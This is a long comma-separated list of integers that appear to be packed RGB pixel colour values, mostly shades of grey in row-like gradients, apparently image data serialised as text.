9802646, 9868439, 9802646, 9671060, 9605267, 9605267, 9605267, 9539474, 9539474, 9605267, 9473681, 9407888, 9342095, 9342095, 9342095, 9342095, 9342095, 9078925, 9144718, 9210511, 9144718, 9078923, 9013130, 9078921, 9078921, 9078921, 9013128, 8881542, 8749956, 8749956, 8815749, 8749956, 8684163, 8420477, 8354684, 8157305, 8091512, 7499375, 7367789, 7104104, 6906725, 6643553, 6248795, 6446174, 5459279, 5459792, 4933448, 4670276, 4275518, 4012346, 3880760, 3617334, 3485748, 3288369, 3025197, 2696232, 2498853, 2367267, 2169888, 2169888, 2104095, 1840923, 1643544, 1578005, 1249808, 921866, 987657, 1315082, 1577743, 1971218, 1970961, 1707534, 1509641, 1509130, 1443337, 1574153, 1443337, 1181705, 854280, 658443, 593675, 593416, 658439, 921354, 1249036, 1051400, 1182216, 1313291, 1246985, 1312778, 1115399, 918279, 721413, 656903, 1052175, 2105376, 3158066, 4473160, 5327955, 6642532, 8352890, 9405319, 8615803, 7892337, 8354171, 8553092, 7961212, 8093570, 8225156, 8421765, 8881546, 8946567, 9012360, 8750217, 8684937, 8750730, 8816523, 8816523, 8816523, 8881803, 8881803, 8947596, 8947596, 8881803, 8881803, 8881803, 8881803, 8881803, 8881803, 8947596, 8947596, 9079182, 9079182, 8947596, 8947596, 9079182, 9013389, 9013389, 9013389, 9013389, 9013389, 9013389, 9013389, 9013389, 9013389, 8947596, 9079182, 9144975, 9079182, 9013389, 9013389, 8947596, 8947596, 8947596, 9079182, 9013389, 8947596, 8947596, 8881803, 8816010, 8947596, 8947596, 8947596, 8947596, 8881803, 8881803, 8881803, 8947596, 9013389, 8947596, 8947596, 8947596, 8947596, 8947596, 8947596, 8947596, 8947596, 8947596, 8947596, 8947596, 9013389, 9079182, 9079182, 9079182, 9013389, 8947596, 9013389, 9013389, 9013389, 9013389, 8947596, 8881803, 8816010, 8816010, 8947596, 9079182, 9079182, 9013389, 9079182, 9079182, 9013389, 9079182, 9013389, 9079182, 9079182, 9013389, 9079182, 9013389, 8816010, 8881803, 8881803, 8881803, 8881803, 8881803, 8881803, 8947596, 8947596, 8881803, 8881803, 8881803, 8816010, 8816010, 8881803, 8947596, 8947596, 10722980, 10591394, 10525601, 10525601, 10525601, 10525601, 10459808, 10196636, 10328222, 10328222, 10328222, 10328222, 10328222, 10328222, 10262429, 10262429, 10196636, 10262429, 10262429, 10262429, 10196636, 10196636, 10196636, 10262429, 10262429, 10328222, 10262429, 10130843, 10065050, 10130843, 10130843, 10130843, 10130843, 10065050, 9999257, 9933464, 9933464, 9933464, 9867671, 9801878, 9867671, 9801878, 9670292, 9604499, 9670292, 9670292, 9670292, 9538706, 9472913, 9538706, 9538706, 9538706, 9407118, 9407118, 9473165, 9538958, 9538958, 9473165, 9341579, 9209993, 9209993, 9341579, 9341579, 9275786, 9012614, 8946821, 8815235, 8749442, 8354171, 8222585, 7959413, 7762034, 7433069, 7169897, 7235690, 6511967, 6511967, 5919830, 5722451, 5327693, 5064521, 4932935, 4867142, 4669763, 4341311, 4012346, 3485748, 3222576, 3156783, 3090990, 3025451, 2828072, 2564900, 2301728, 2039070, 1776409, 1317652, 1383444, 1711382, 1973529, 2235931, 2301467, 1972502, 1577744, 1642767, 1642254, 1707534, 1773327, 1511951, 1316112, 1185812, 1186836, 1383191, 1448727, 1842202, 2038554, 1839892, 1904915, 2167317, 2232853, 2429978, 2364698, 2233882, 2234652, 2235935, 2829099, 4014400, 5198676, 6711148, 7236979, 7631224, 7828086, 7828340, 8025204, 8552061, 9144968, 8882055, 8158845, 8159361, 8290947, 8487558, 8881803, 8815753, 8816010, 8816010, 8750730, 8684937, 8750730, 8882316, 8882316, 8882316, 8882316, 8947596, 8947596, 8947596, 8947596, 8947596, 8947596, 8947596, 8947596, 9013389, 9013389, 9144975, 9144975, 9013389, 9013389, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9013389, 9144975, 9210768, 9144975, 9013389, 9013389, 9013389, 8947596, 9013389, 9079182, 8947596, 8947596, 9013389, 8947596, 8816010, 8947596, 8947596, 8947596, 8947596, 8947596, 8947596, 8947596, 8947596, 8947596, 9013389, 9013389, 9013389, 9013389, 9013389, 9013389, 9013389, 9013389, 9079182, 9013389, 9013389, 9079182, 9144975, 9144975, 9144975, 9079182, 8947596, 8947596, 9013389, 9013389, 9013389, 8947596, 8881803, 8816010, 8816010, 8947596, 9079182, 9079182, 9013389, 9079182, 9079182, 9013389, 9079182, 9013389, 9079182, 9079182, 9013389, 9079182, 9079182, 8816010, 8881803, 8881803, 8881803, 8881803, 8881803, 8881803, 8881803, 8881803, 8881803, 8947596, 8881803, 8881803, 8881803, 8947596, 9013389, 9013389, 10788773, 10657187, 10657187, 10657187, 10591394, 10657187, 10525601, 10262429, 10394015, 10394015, 10394015, 10328222, 10328222, 10394015, 10394015, 10328222, 10328222, 10394015, 10394015, 10394015, 10328222, 10262429, 10328222, 10328222, 10328222, 10328222, 10328222, 10196636, 10130843, 10196636, 10262429, 10196636, 10196636, 10130843, 10065050, 10065050, 10065050, 9999257, 9933464, 9867671, 9933464, 9933464, 9801878, 9801878, 9801878, 9867671, 9801878, 9670292, 9670292, 9670292, 9736085, 9670292, 9604497, 9538704, 9604751, 9802130, 9802130, 9736337, 9604751, 9538958, 9538958, 9604751, 9538958, 9473165, 9275786, 9209993, 9078407, 9144200, 8748929, 8683136, 8419964, 8288378, 7959413, 7762034, 7696241, 7433069, 7301483, 6906725, 6577760, 6183002, 5854037, 5722451, 5788244, 5590865, 5196620, 4867655, 4275264, 4077885, 3946299, 3946299, 3880760, 3617588, 3288623, 3091244, 2762793, 2565925, 2238754, 2107938, 2238241, 2369057, 2434593, 2434593, 2171421, 1908249, 2104345, 2104088, 2169111, 2169111, 1972759, 1711127, 1450008, 1516058, 1647133, 1975071, 2302755, 2498592, 2365725, 2627611, 3021601, 3218467, 3415846, 3679531, 3483949, 3945270, 3947067, 4343365, 5199957, 5989475, 7172726, 7501178, 7698812, 7238259, 7171950, 8158843, 9079432, 9079432, 8684676, 8356224, 8421763, 8356740, 8554121, 8882316, 8816523, 8750730, 8750730, 8750730, 8750730, 8816523, 8882316, 8948109, 8948109, 8948109, 9013389, 9013389, 9013389, 9013389, 9013389, 9013389, 9013389, 9013389, 9079182, 9079182, 9210768, 9210768, 9079182, 9079182, 9210768, 9144975, 9144975, 9144975, 9144975, 9144975, 9144975, 9144975, 9144975, 9144975, 9079182, 9144975, 9210768, 9144975, 9079182, 9079182, 9013389, 8947596, 9013389, 9079182, 8947596, 8947596, 9079182, 9013389, 8881803, 8947596, 9013389, 9013389, 9013389, 9013389, 9013389, 9013389, 9013389, 8947596, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9013389, 9013389, 9013389, 9079182, 9144975, 9079182, 9079182, 8947596, 8947596, 8947596, 9013389, 9013389, 8947596, 8881803, 8881803, 8816010, 8947596, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9013389, 9079182, 9079182, 9013389, 9079182, 9079182, 8881803, 8947596, 8947596, 8947596, 8947596, 8947596, 8947596, 8947596, 8947596, 8881803, 8947596, 8947596, 8881803, 8947596, 9013389, 9079182, 9079182, 10854566, 10722980, 10722980, 10722980, 10657187, 10722980, 10657187, 10328222, 10394015, 10459808, 10459808, 10394015, 10394015, 10459808, 10459808, 10459808, 10459808, 10525601, 10525601, 10459808, 10394015, 10328222, 10394015, 10394015, 10394015, 10394015, 10394015, 10262429, 10196636, 10262429, 10328222, 10328222, 10262429, 10196636, 10196636, 10196636, 10196636, 10130843, 10065050, 9999257, 10065050, 10130843, 10130843, 10065050, 10065050, 10065050, 9999257, 9867671, 9999257, 9933464, 9933464, 9867671, 9801876, 9736083, 9802130, 9999509, 10065302, 9933716, 9867923, 9802130, 9802130, 9670544, 9538958, 9538958, 9210507, 9210507, 9209993, 9341579, 9012101, 9012101, 8814722, 8683136, 8484987, 8419194, 8221815, 8353401, 8090999, 7893620, 7498862, 7169897, 6906723, 6709344, 6840932, 6577760, 6314588, 5985623, 5393999, 5262413, 5065034, 5130827, 4999241, 4736069, 4472897, 4275518, 3947321, 3815992, 3422774, 3422774, 3290931, 3158575, 3026989, 2961196, 2764587, 2698794, 2829351, 2828838, 2959397, 2959397, 2893861, 2566436, 2305317, 2305576, 2239272, 2632747, 2960174, 3090731, 3548974, 3876910, 4336437, 4927802, 5257537, 5652808, 5588555, 6116439, 6052956, 6317668, 6450794, 6648175, 6647151, 6712945, 6779250, 6647662, 6911345, 8226946, 9015433, 8422783, 8290429, 8619396, 8619142, 8554119, 8685707, 8620171, 8685964, 8554378, 8554121, 8750730, 8816523, 8882316, 8882316, 8948109, 9013902, 9079695, 9079695, 9079695, 9144975, 9079182, 9079182, 9079182, 9144975, 9144975, 9144976, 9144976, 9276562, 9276562, 9144976, 9144976, 9276562, 9210769, 9210769, 9210769, 9210769, 9210769, 9210769, 9210769, 9210769, 9210769, 9079182, 9210768, 9276561, 9210768, 9144975, 9079182, 9013389, 9013389, 9079182, 9079182, 9013389, 9013389, 9079182, 9013389, 8947596, 9079182, 9144975, 9144975, 9144975, 9144975, 9144975, 9079182, 9079182, 9013389, 9013389, 9013389, 9013389, 9013389, 9013389, 9013389, 9013389, 9013389, 9013389, 9013389, 8947596, 9013389, 9079182, 9079182, 9079182, 9013389, 8947596, 8947596, 9013389, 9079182, 9079182, 8947596, 8881803, 8947596, 8881803, 9013389, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9013389, 9079182, 9144975, 9079182, 9144975, 9079182, 8881803, 9079182, 9079182, 9013389, 9013389, 9013389, 9013389, 9013389, 9079182, 8947596, 9013389, 9013389, 8947596, 8947596, 9013389, 9079182, 9079182, 10920359, 10788773, 10788773, 10788773, 10722980, 10722980, 10657187, 10394015, 10459808, 10525601, 10525601, 10459808, 10525601, 10591394, 10657187, 10591394, 10591394, 10591394, 10591394, 10525601, 10459808, 10394015, 10394015, 10459808, 10525601, 10525601, 10525601, 10394015, 10394015, 10459808, 10459808, 10459808, 10459808, 10394015, 10394015, 10394015, 10394015, 10328222, 10262429, 10130843, 10196636, 10328222, 10394015, 10328222, 10262429, 10196636, 10130843, 10065050, 10328222, 10196636, 10196636, 10130843, 10065048, 9999255, 10065302, 10196888, 10131095, 9999509, 9933716, 9999509, 9933716, 9670544, 9538958, 9473165, 9473679, 9407886, 9473165, 9604751, 9341066, 9341066, 9209480, 9077894, 8945538, 9011331, 8682366, 9142917, 8814722, 8814722, 8354171, 8090999, 7959411, 7827825, 7959413, 7630448, 7367276, 7169897, 6578273, 6512480, 6249308, 6380894, 6249308, 5986136, 5788757, 5591378, 5263181, 5197645, 5263953, 5001297, 4934475, 4539717, 4276545, 4145472, 4211265, 4211263, 4211263, 4210750, 4407102, 4407100, 4407102, 4145211, 4014654, 4014911, 4080195, 4605512, 4670792, 4867144, 5391694, 5851216, 6376792, 7034463, 7429478, 7759211, 7497322, 8156022, 8092026, 8356224, 8291458, 7963263, 7501690, 7435897, 7371128, 7437432, 7963774, 8753290, 8818054, 7830646, 8158843, 8948359, 8882568, 8750728, 8685707, 8554378, 8620941, 8489355, 8554121, 8816523, 8882316, 8882316, 8882316, 8882316, 9013902, 9211281, 9145488, 9145488, 9210768, 9210768, 9210768, 9210768, 9210768, 9210768, 9210769, 9210769, 9276562, 9342355, 9210769, 9210769, 9276562, 9276562, 9276562, 9276562, 9276562, 9276562, 9276562, 9276562, 9276562, 9276562, 9144975, 9276561, 9276561, 9210768, 9144975, 9079182, 9079182, 9013389, 9079182, 9144975, 9144975, 9144975, 9144975, 9013389, 8947596, 9210768, 9210768, 9210768, 9210768, 9210768, 9210768, 9144975, 9144975, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9013389, 9079182, 9144975, 9144975, 9144975, 9079182, 9013389, 8947596, 9013389, 9079182, 9079182, 8947596, 8947596, 8947596, 8881803, 9013389, 9144975, 9144975, 9079182, 9079182, 9079182, 9079182, 9144975, 9079182, 9079182, 9144975, 9079182, 9144975, 9144975, 8881803, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9013389, 9013389, 9079182, 9144975, 9079182, 10920359, 10788773, 10722980, 10722980, 10722980, 10722980, 10657187, 10525601, 10591394, 10591394, 10591394, 10657187, 10657187, 10657187, 10657187, 10657187, 10722468, 10722468, 10657187, 10591394, 10591394, 10591394, 10591394, 10591394, 10591394, 10591394, 10591394, 10591394, 10591394, 10591394, 10590882, 10590882, 10591394, 10525601, 10459808, 10525601, 10459808, 10394015, 10394015, 10459808, 10262429, 10459808, 10459808, 10394015, 10394015, 10394015, 10328222, 10328222, 10394013, 10394013, 10328220, 10262427, 10262427, 10196634, 10196634, 10196634, 10328474, 10196888, 10131095, 10196888, 10065302, 9802130, 9604751, 9670544, 9867669, 9604497, 9670290, 9736083, 9538445, 9472652, 9472652, 9275273, 9209480, 9077894, 9208710, 9340296, 9340298, 9208712, 8945540, 8748929, 8748927, 8683647, 8552061, 8354682, 8091510, 7894131, 7630959, 7499373, 7367787, 7236201, 7170408, 7104615, 6907236, 6709857, 6578271, 6578273, 6775398, 6643814, 6314849, 5985884, 5657687, 5591894, 5657687, 5723480, 5591894, 5526099, 5657171, 5591376, 5591378, 5986134, 6315101, 6249308, 6380640, 6314849, 6577508, 6511715, 6905704, 7037289, 7497841, 7695219, 8353149, 8748161, 8945540, 8748159, 8814722, 9341064, 9406857, 9078405, 8618370, 8158332, 8092539, 8553088, 8947846, 8882307, 8553342, 8421756, 8881796, 8882053, 9013641, 8948107, 8817293, 8685965, 8620172, 8620172, 8685707, 8685707, 8751500, 8817293, 8948109, 8882316, 9013902, 9145488, 9210768, 9210768, 9276304, 9276304, 9210511, 9210511, 9210511, 9210511, 9276561, 9342354, 9342354, 9342354, 9276561, 9276561, 9276561, 9342354, 9276561, 9276561, 9276561, 9276561, 9276561, 9276561, 9276561, 9276561, 9342354, 9276561, 9276561, 9210768, 9144975, 9144975, 9079182, 9079182, 9144975, 9144975, 9079182, 9079182, 9079182, 9013389, 9013389, 9210768, 9144975, 9210768, 9144975, 9144975, 9210768, 9079182, 9013389, 9144975, 9144975, 9144975, 9144975, 9144975, 9144975, 9144975, 9144975, 9144975, 9144975, 9144975, 9144975, 9144975, 9144975, 9079182, 9079182, 9079182, 9013389, 8947596, 9013389, 9144975, 9144975, 9013389, 8881803, 8947596, 9013389, 9013389, 9013389, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9144975, 9144975, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9144975, 9079182, 9013389, 8947596, 9079182, 9210768, 9210768, 9079182, 10920359, 10854566, 10722980, 10722980, 10722980, 10722980, 10657187, 10591394, 10657187, 10657187, 10657187, 10657187, 10657187, 10657187, 10722980, 10722980, 10788261, 10788261, 10722980, 10657187, 10657187, 10657187, 10657187, 10657187, 10657187, 10657187, 10657187, 10657187, 10657187, 10657187, 10656675, 10656675, 10657187, 10591394, 10591394, 10591394, 10525601, 10459808, 10459808, 10459808, 10394015, 10591394, 10591394, 10459808, 10525601, 10459808, 10394015, 10459808, 10459806, 10459806, 10394013, 10394013, 10328220, 10328220, 10262427, 10262427, 10328474, 10196888, 10065302, 10065302, 9999509, 9802130, 9736337, 9802130, 9867669, 9801876, 9867669, 9933462, 9867410, 9801617, 9735824, 9670031, 9604238, 9472652, 9537675, 9603468, 9669263, 9669263, 9537677, 9406861, 9341579, 9341577, 9209991, 9078405, 8881026, 8683647, 8552061, 8486268, 8354682, 8288889, 8157303, 8157303, 8157303, 8091510, 8025717, 8025719, 7959161, 8024185, 7827576, 7695990, 7499123, 7433330, 7499123, 7499123, 7630707, 7499121, 7499375, 7433582, 7564655, 7959413, 8419194, 8353401, 8353149, 8484735, 8353920, 8288640, 8091261, 8025982, 8223361, 8420740, 8749960, 8881546, 9012360, 8880515, 9077124, 9340037, 9536901, 9471621, 9209993, 8881542, 8946819, 9078405, 9012610, 8881024, 8881024, 9078403, 9210761, 9210761, 9079434, 9013643, 8948109, 8751245, 8685454, 8554379, 8685707, 8685707, 8751500, 8817293, 8948109, 8948109, 9079695, 9211281, 9144975, 9144975, 9210511, 9210511, 9210511, 9210511, 9210511, 9210511, 9276561, 9276561, 9342354, 9342354, 9276561, 9276561, 9276561, 9342354, 9342354, 9342354, 9342354, 9342354, 9342354, 9342354, 9342354, 9342354, 9342354, 9276561, 9276561, 9210768, 9144975, 9144975, 9079182, 9079182, 9144975, 9210768, 9079182, 9013389, 9079182, 8947596, 8947596, 9144975, 9079182, 9210768, 9144975, 9144975, 9210768, 9079182, 9013389, 9210768, 9144975, 9144975, 9144975, 9144975, 9144975, 9144975, 9144975, 9144975, 9079182, 9144975, 9144975, 9144975, 9144975, 9144975, 9079182, 9079182, 8947596, 8947596, 9013389, 9144975, 9144975, 9013389, 8947596, 8947596, 8947596, 9013389, 9079182, 9079182, 9013389, 9013389, 9079182, 9144975, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9013389, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9079182, 9013389, 8947596, 9079182, 9144975, 9144975, 9079182, 10789541, 10723748, 10657955, 10592162, 10592162, 10592162, 10592162, 10592162, 10592162, 10526369, 10526369, 10526369, 10526369, 10592162, 10657955, 10657955, 10722980, 10722980, 10722980, 10657187, 10526369, 10526369, 10526369, 10526369, 10526369, 10526369, 10657187, 10657187, 10657187, 10657187, 10722468, 10722468, 10657187, 10657187, 10657187, 10657187, 10591394, 10525601, 10459808, 10525601, 10459808, 10657187, 10657187, 10591394, 10591392, 10591392, 10459806, 10525599, 10591392, 10591392, 10525599, 10525599, 10459806, 10459806, 10394013, 10394013, 10328220, 10130841, 9934232, 9868439, 9802646, 9736853, 9736853, 9802646, 9802646, 9868439, 9999255, 10065048, 10130841, 9999255, 9867923, 9867923, 9933203, 9867410, 9735824, 9670031, 9670031, 9801617, 9801619, 9801619, 9867923, 9736851, 9605265, 9539472, 9407886, 9342093, 9276300, 9210507, 8881542, 8749956, 8618370, 8684163, 8749956, 8815749, 8815749, 8946821, 8682884, 8682884, 8814470, 8880263, 8814983, 8814983, 8618372, 8552579, 8618372, 8486786, 8486270, 8420477, 8551550, 8946308, 9209480, 9143687, 9405837, 9603216, 9406607, 9407120, 8946569, 8815753, 8749960, 8881803, 8947596, 9013132, 9275532, 9406859, 9406089, 9208451, 9142656, 9143169, 9341579, 9078921, 9013382, 8947589, 8881024, 8881024, 9144196, 9604747, 9473933, 9342347, 9145227, 9013643, 8882316, 8685707, 8619659, 8553866, 8685707, 8685705, 8882314, 8948107, 8948107, 8948107, 9079693, 9211279, 9145229, 9211022, 9211022, 9211022, 9210509, 9210509, 9276302, 9342095, 9276815, 9342608, 9342608, 9342608, 9276815, 9276815, 9276815, 9342608, 9342608, 9342608, 9342608, 9342608, 9342608, 9342608, 9342608, 9342608, 9276561, 9276561, 9210768, 9210768, 9144975, 9144975, 9079182, 9079182, 9144975, 9210768, 9079182, 9013389, 9079182, 8947596, 8947596, 9144975, 9079436, 9211022, 9145229, 9211022, 9276815, 9145229, 9013643, 9145229, 9145229, 9145229, 9079436, 9079436, 9079436, 9079436, 9145229, 9145229, 9013643, 9079436, 9079436, 9145229, 9145229, 9079436, 9013643, 9013643, 8882057, 8882057, 9013643, 9079436, 9079436, 9013643, 8947850, 8947850, 8882057, 8947850, 9013643, 9013643, 8947850, 8947850, 9013643, 9079436, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 8947850, 9013643, 9079436, 9079436, 9013643, 10789541, 10723748, 10657955, 10657955, 10657955, 10657955, 10592162, 10526369, 10526369, 10526369, 10460576, 10460576, 10460576, 10526369, 10592162, 10657955, 10657187, 10657187, 10657187, 10526369, 10526369, 10526369, 10526369, 10526369, 10460576, 10526369, 10657187, 10657187, 10722980, 10722980, 10788261, 10788261, 10722980, 10722980, 10722980, 10722980, 10657187, 10591394, 10525601, 10525601, 10525601, 10722980, 10722980, 10657187, 10657185, 10657185, 10525599, 10591392, 10657185, 10591392, 10591392, 10525599, 10525599, 10459806, 10459806, 10394013, 10262427, 10196634, 10000025, 10000025, 9934232, 9802646, 9802646, 9868439, 9736853, 9934232, 9999255, 10065048, 10262427, 10130841, 9933716, 10131095, 10065302, 10064789, 9933203, 9735824, 9735824, 9801617, 9867412, 9801876, 9736851, 9736851, 9671058, 9539472, 9473679, 9473679, 9473679, 9473679, 9210507, 9078921, 9013128, 9078921, 9078921, 9078921, 9078921, 9078923, 8880774, 9077642, 9209228, 9275534, 9407120, 9341327, 9078923, 8947337, 9144716, 9013130, 9078407, 9012614, 9077894, 9275273, 9472652, 9406859, 9341068, 9472400, 9407120, 9342097, 9144718, 9079182, 9013389, 9079182, 8881803, 8947850, 9276302, 9538958, 9406857, 9142915, 8945790, 9011329, 9275786, 8947335, 8816003, 8816003, 9078405, 9144196, 9407368, 9604747, 9408140, 9276554, 9145227, 9079434, 8948107, 8948109, 8751245, 8751500, 8751498, 8751498, 8882314, 8948107, 8948107, 8948107, 9013900, 9145486, 9276815, 9342608, 9342608, 9276815, 9276302, 9342095, 9342095, 9342095, 9276815, 9276815, 9342608, 9342608, 9276815, 9276815, 9276815, 9342608, 9276815, 9276815, 9276815, 9276815, 9276815, 9276815, 9276815, 9276815, 9276561, 9276561, 9276561, 9276561, 9210768, 9210768, 9210768, 9144975, 9210768, 9276561, 9210768, 9144975, 9144975, 9079182, 9079182, 9276561, 9276815, 9342608, 9276815, 9276815, 9342608, 9211022, 9079436, 9145229, 9145229, 9145229, 9145229, 9145229, 9145229, 9145229, 9145229, 9145229, 9079436, 9079436, 9079436, 9079436, 9079436, 9013643, 9013643, 8947850, 8947850, 8947850, 9079436, 9145229, 9145229, 9079436, 9079436, 9013643, 8947850, 8947850, 9013643, 9013643, 8947850, 8947850, 8947850, 9013643, 9079436, 9013643, 9013643, 9013643, 9013643, 9013643, 8947850, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9013643, 9079436, 9079436, 9079436, 9079436, 10789541, 10723748, 10657955, 10723748, 10789541, 10789541, 10657955, 10526369, 10526369, 10526369, 10526369, 10526369, 10526369, 10592162, 10592162, 10657955, 10592162, 10592162, 10592162, 10592162, 10592162, 10526880, 10592162, 10592162, 10592162, 10592162, 10788773, 10788773, 10854566, 10854566, 10919847, 10919847, 10854567, 10854567, 10854566, 10788773, 10788773, 10722980, 10657187, 10591394, 10657185, 10854564, 10854564, 10788771, 10788771, 10788771, 10657185, 10722978, 10657185, 10657185, 10591392, 10591392, 10525599, 10459806, 10459806, 10394013, 10263197, 10263197, 10263199, 10328992, 10263199, 10065820, 9934491, 9868698, 9802905, 9868698, 9802648, 9868441, 10131611, 10131611, 9934230, 10131609, 10000023, 10131095, 10065302, 9933716, 9867923, 9867923, 9867923, 9802130, 9605267, 9605267, 9539474, 9473681, 9407888, 9407888, 9407888, 9407888, 9407888, 9407888, 9342095, 9342095, 9210509, 9078923, 9078923, 9144716, 9078153, 9143946, 9209739, 9341325, 9407118, 9210509, 9078923, 8947337, 8881542, 8815749, 8881542, 8815749, 8815235, 8946821, 9078407, 9012614, 9209993, 9143946, 9275532, 9144716, 9407888, 9276815, 9342608, 9145486, 9145229, 9211022, 9276302, 9275786, 9144198, 9143685, 9340294, 9341064, 9342093, 9145227, 9078921, 9144968, 9276554, 9342347, 9342347, 9276554, 9342347, 9408140, 9342606, 9342606, 9211279, 9211279, 9211281, 9211281, 9145486, 9145486, 9079693, 9145486, 9145229, 9079436, 9079436, 9211022, 9474194, 9539987, 9539987, 9408401, 9276815, 9342608, 9408401, 9408401, 9342608, 9342608, 9408401, 9342608, 9342608, 9342608, 9342608, 9342608, 9342608, 9342608, 9342608, 9342608, 9342608, 9342608, 9342608, 9342608, 9408147, 9408147, 9408147, 9408147, 9408147, 9408147, 9342354, 9342354, 9408147, 9473940, 9408147, 9342354, 9408147, 9342354, 9342354, 9539733, 9671573, 9605780, 9474194, 9474194, 9605780, 9474194, 9211022, 9211022, 9276815, 9276815, 9276815, 9276815, 9276815, 9276815, 9276815, 9276815, 9276815, 9276815, 9211022, 9145229, 9145229, 9145229, 9145229, 9145229, 9145229, 9211022, 9276815, 9276815, 9276815, 9276815, 9276815, 9211022, 9145229, 9145229, 9079436, 9079436, 9145229, 9079436, 9079436, 9013643, 9276815, 9211022, 9145229, 9211022, 9145229, 9079436, 9079436, 9145229, 9211022, 9211022, 9211022, 9145229, 9145229, 9079436, 9079436, 9079436, 9145229, 9145229, 9211022, 9211022, 9211022, 9211022, 9211022, 9211022, 10921127, 10855334, 10855334, 10921127, 10986920, 10986920, 10855334, 10789541, 10789541, 10789541, 10789541, 10789541, 10789541, 10789541, 10789541, 10723748, 10723748, 10723748, 10723748, 10723748, 10658466, 10658466, 10789541, 10789541, 10723748, 10723748, 10920359, 10920359, 10986152, 10986152, 11051433, 11051433, 10986153, 10986153, 10986152, 10920359, 10854566, 10854566, 10788773, 10722980, 10788771, 10986150, 10986150, 10854564, 10920357, 10854564, 10788771, 10854564, 10722978, 10722978, 10722978, 10722978, 10657185, 10591392, 10525599, 10525599, 10394783, 10460576, 10526371, 10526371, 10460578, 10328992, 10131870, 10066077, 10131870, 10066077, 10000027, 10000027, 10065818, 10000025, 9868437, 9934230, 9934230, 9934230, 9934230, 10000023, 10131095, 9999509, 9933716, 9736851, 9605267, 9605267, 9605267, 9605267, 9605267, 9539474, 9473681, 9473681, 9407888, 9407888, 9473681, 9407888, 9276302, 9078923, 9013130, 9144716, 9275532, 9275532, 9341325, 9341325, 9210509, 9144716, 9078923, 9013130, 9078921, 9078921, 9210507, 9210507, 9209993, 9275786, 9407372, 9407372, 9407372, 9144714, 9210509, 9013643, 9408401, 9342608, 9342865, 9211279, 9408401, 9474194, 9407886, 9144714, 9209991, 9275784, 9538443, 9538443, 9342093, 9342606, 9539472, 9539472, 9473933, 9408140, 9342347, 9276554, 9473933, 9539726, 9539985, 9539985, 9474451, 9408658, 9408660, 9408658, 9408658, 9342865, 9277072, 9277072, 9276815, 9211022, 9211022, 9276815, 9671573, 9737366, 9737366, 9539987, 9408401, 9474194, 9539987, 9539987, 9539987, 9539987, 9539987, 9539987, 9539987, 9539987, 9539987, 9539987, 9539987, 9539987, 9539987, 9539987, 9539987, 9539987, 9539987, 9539987, 9539733, 9539733, 9539733, 9539733, 9539733, 9539733, 9539733, 9539733, 9539733, 9605526, 9539733, 9539733, 9605526, 9539733, 9539733, 9802905, 9803159, 9803159, 9605780, 9605780, 9737366, 9539987, 9342608, 9342608, 9474194, 9474194, 9408401, 9408401, 9408401, 9408401, 9474194, 9474194, 9474194, 9474194, 9342608, 9276815, 9276815, 9276815, 9342608, 9342608, 9474194, 9474194, 9474194, 9408401, 9408401, 9408401, 9408401, 9408401, 9408401, 9276815, 9276815, 9276815, 9276815, 9276815, 9211022, 9145229, 9474194, 9342608, 9276815, 9342608, 9276815, 9211022, 9211022, 9276815, 9342608, 9342608, 9342608, 9342608, 9276815, 9211022, 9145229, 9145229, 9276815, 9276815, 9342608, 9408401, 9342608, 9276815, 9276815, 9342608, 10855845, 10855845, 10921638, 10921638, 10855845, 10855845, 10855845, 10921638, 10921638, 10987431, 10987431, 10987431, 10921638, 10790052, 10724259, 10658466, 10658466, 10592673, 10592673, 10658466, 10658466, 10658466, 10658466, 10658466, 10658466, 10658466, 10789541, 10789541, 10920359, 10986152, 11051433, 11051433, 11051433, 11051433, 11051433, 10919847, 10854053, 10919846, 10854053, 10788260, 10788514, 10985893, 10985893, 10920100, 10920098, 10854305, 10788512, 10854305, 10788512, 10788512, 10723232, 10723232, 10657185, 10591392, 10394783, 10328990, 10394785, 10394785, 10329249, 10329249, 10329250, 10329250, 10329250, 10329250, 10395042, 10197663, 10197663, 10131870, 9868952, 9671573, 9605778, 9605778, 9671571, 9539985, 9605778, 9868950, 10065816, 9868437, 9671058, 9736851, 9539474, 9539733, 9605526, 9671319, 9671319, 9605526, 9539733, 9539733, 9408147, 9408147, 9408147, 9342354, 9210768, 9079182, 9079182, 9145229, 9276302, 9276300, 9342093, 9342093, 9276300, 9276300, 9211020, 9276813, 9145227, 9145227, 9276300, 9342093, 9276300, 9276300, 9407886, 9407886, 9539726, 9473933, 9473679, 9342606, 9408399, 9277326, 9277072, 9211279, 9211533, 9277326, 9342606, 9211020, 9210507, 9341579, 9341577, 9341577, 9144714, 9276815, 9474192, 9408399, 9407886, 9407886, 9342347, 9342347, 9473933, 9473933, 9474192, 9474192, 9474192, 9474192, 9474194, 9474194, 9474194, 9408399, 9342606, 9342606, 9276813, 9211020, 9211020, 9211020, 9605778, 9737364, 9737364, 9539985, 9408399, 9474192, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539987, 9473940, 9473940, 9473940, 9473940, 9539733, 9539733, 9539733, 9539733, 9473940, 9539733, 9473940, 9473940, 9539733, 9473940, 9473940, 9671319, 9539987, 9605778, 9539985, 9474192, 9539985, 9408399, 9276813, 9408399, 9408399, 9408399, 9408399, 9408399, 9408399, 9408399, 9408399, 9408399, 9408399, 9408399, 9408399, 9342606, 9342606, 9342606, 9342606, 9408399, 9474192, 